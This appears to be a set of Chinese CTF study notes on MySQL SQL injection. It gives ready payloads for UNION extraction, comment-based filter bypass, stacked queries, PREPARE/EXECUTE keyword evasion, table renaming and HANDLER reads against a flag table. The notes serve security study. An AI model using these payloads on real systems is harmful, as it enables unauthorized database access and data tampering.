一、注入类型判断寻找注入点
1'
1'--+
1' and 1=1--+
1' and 1=2--+
注释符号--和连接符号+用于代替空格。注释符号也可以有#等。
二、判断列数
1' order by 3--+ 或者 # 看看从1到后面多少会报错,这里我们到3就报错了证明只有两列。然后我们再用unoin联合注入必须要准确对应列数。
三、获取相关信息
-1' union select database(), user() --+或者#等方式获取一些数据库表名啊这些一些相关的信息。union是前面语句出错的情况下执行后面的select语句,所以前面用-1让其出错。
如果是有过滤select等一些字符串的可以试试-1' union se/**/lect null, user()#看看拼接的方式是否可以有效绕过。
四、关于堆叠注入方式
-1';show tables#测试堆叠注入是否可行。如果可行的话我们进行字段查询
-1';desc `表名1`#
-1';desc `表名2`#
# 也可以用以下方式
-1';show columns from `表名1`#
-1';show columns from `表名2`#
# 注意,以上表名要加反引号就是~下面的那个符号,切记!
五、关于预编译
通常我们的一条sql在db接收到最终执行完毕返回可以分为下面三个过程:
- 词法和语义解析
- 优化sql语句,制定执行计划
- 执行并返回结果
我们把这种普通语句称作Immediate Statements。
但是很多情况,我们的一条sql语句可能会反复执行,或者每次执行的时候只有个别的值不同(比如query的where子句值不同,update的set子句值不同,insert的values值不同)。
如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
所谓预编译语句就是将这类语句中的值用占位符替代,可以视为将sql语句模板化或者说参数化,一般称这类语句叫Prepared Statements或者Parameterized Statements
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止sql注入。
当然就优化来说,很多时候最优的执行计划不是光靠知道sql语句的模板就能决定了,往往就是需要通过具体值来预估出成本代价。
如果直接输入查询命令被过滤掉了我们就可以利用预编译来绕过:
通过 PREPARE stmt_name FROM preparable_stm
的语法来预编译一条sql语句;
通过 EXECUTE stmt_name [USING @var_name [, @var_name] ...]
的语法来执行预编译语句;
要释放一条预编译语句使用{DEALLOCATE | DROP} PREPARE stmt_name
的语法进行操作。
-1';set @sql = CONCAT('se','lect * from `表名`;');prepare stmt from @sql;EXECUTE stmt;#
六、修改表名
-1';
rename table `words` to `test`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);
show columns from words;--+或者#
ALTER TABLE tiger (表名) CHANGE tigername(要修改的列) name (修改后的列名) VARCHAR(20)(类型);
七、关于handler功能
Handler是Mysql里面自己定义的,并不是标准的SQL语句,支持按行读取数据库中的数据,如果select等关键字段被屏蔽了数据库又是Mysql的话可是使用这个试试。
1'; handler `1919810931114514` open;
handler `1919810931114514` read first;-- +
八、关于SQL语句中SQL_MODE的设置
select *,1||flag from Flag
因为1和任意字符串或数字使用 ||连接 的值都为1
例如1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接完之后就是select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
|| 相当于是将 select 1 和 select flag from flag 的结果拼在一起